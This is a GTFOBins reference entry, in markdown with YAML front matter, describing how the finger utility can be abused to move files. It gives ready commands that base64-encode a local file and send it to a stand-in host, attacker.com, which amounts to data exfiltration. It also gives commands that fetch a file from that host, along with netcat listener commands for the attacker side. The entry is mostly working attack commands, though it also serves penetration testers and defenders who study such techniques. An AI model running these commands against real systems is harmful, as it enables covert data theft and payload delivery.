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GTFOBins.github.io/_gtfobins/finger.md
2018-10-05 18:55:38 +01:00

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---
description: |
`finger` hangs waiting for the remote peer to close the socket.
functions:
file-upload:
- description: Send a binary file to a TCP port. Run `sudo nc -l -p 79 | base64 -d > "file_to_save"` on the attacker box to collect the file. The file length is limited by the maximum size of arguments.
code: |
RHOST=attacker.com
LFILE=file_to_send
finger "$(base64 $LFILE)@$RHOST"
file-download:
- description: Fetch remote binary file from a remote TCP port. Run `base64 "file_to_send" | sudo nc -l -p 79` on the attacker box to send the file.
code: |
RHOST=attacker.com
LFILE=file_to_save
finger x@$RHOST | base64 -d > "$LFILE"
---